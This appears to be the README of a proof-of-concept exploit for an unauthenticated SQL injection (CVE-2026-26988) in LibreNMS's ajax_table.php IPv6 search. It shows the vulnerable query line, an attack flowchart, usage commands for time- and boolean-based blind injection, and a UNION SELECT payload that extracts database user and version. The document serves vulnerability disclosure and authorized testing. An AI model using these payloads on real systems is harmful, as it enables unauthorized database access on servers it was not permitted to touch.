mbanyamer/cve-2026-26988-librenms-sqliProof-of-concept exploit for unauthenticated SQL injection in LibreNMS ajax_table.php, demonstrating time-based and boolean-based blind injection techniques for authorized security testing.
Unauthenticated SQL Injection in LibreNMS ajax_table.php via IPv6 address search parameter.
15429580baba03ed1dd377bada1bde4b7a1175a1)CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:NThe address parameter when search_type=ipv6 is split on / into address and prefix.
The prefix is directly concatenated into an SQL query without escaping:
$sql .= " AND ipv6_prefixlen = '$prefix'";
A single quote (') in the prefix part allows breaking out of the string literal → arbitrary SQL injection.
flowchart TD
A[Attacker] -->|1. HTTP POST to /ajax_table.php| B[LibreNMS Web Server]
B -->|2. id=address-search & search_type=ipv6| C[Parse address parameter]
C -->|3. Split on '/' → $address / $prefix| D[Build vulnerable SQL]
D -->|4. Concatenate: ipv6_prefixlen = '$prefix'| E[MySQL / MariaDB]
E -->|5. Execute injected query| F[Return results / error / delay]
F -->|6. Attacker observes response / timing| A
subgraph "Injection Point"
D
end
style D fill:#ff4d4d,stroke:#333,stroke-width:2px,color:#fff
requests library (pip install requests)python3 exploit.py http://target/librenms --test
python3 exploit.py http://192.168.1.50/librenms --time
→ If response takes >5–6 seconds → vulnerable
python3 exploit.py http://target/librenms --boolean
python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT database(),user(),version() -- "
exploit.py .............. Main PoC script (rename from cve-2026-26988-poc.py if needed)README.md ............... This file15429580baba... → PR #18777This proof-of-concept is provided for educational and authorized security testing purposes only.
Do NOT use this code against any system or network without explicit written permission from the owner.
Unauthorized use may violate laws including (but not limited to) the Computer Fraud and Abuse Act (CFAA) in the US, or equivalent legislation in your country.
Use at your own risk.
Author: Mohammed Idrees Banyamer
Instagram: @banyamer_security
Date: February 20, 2026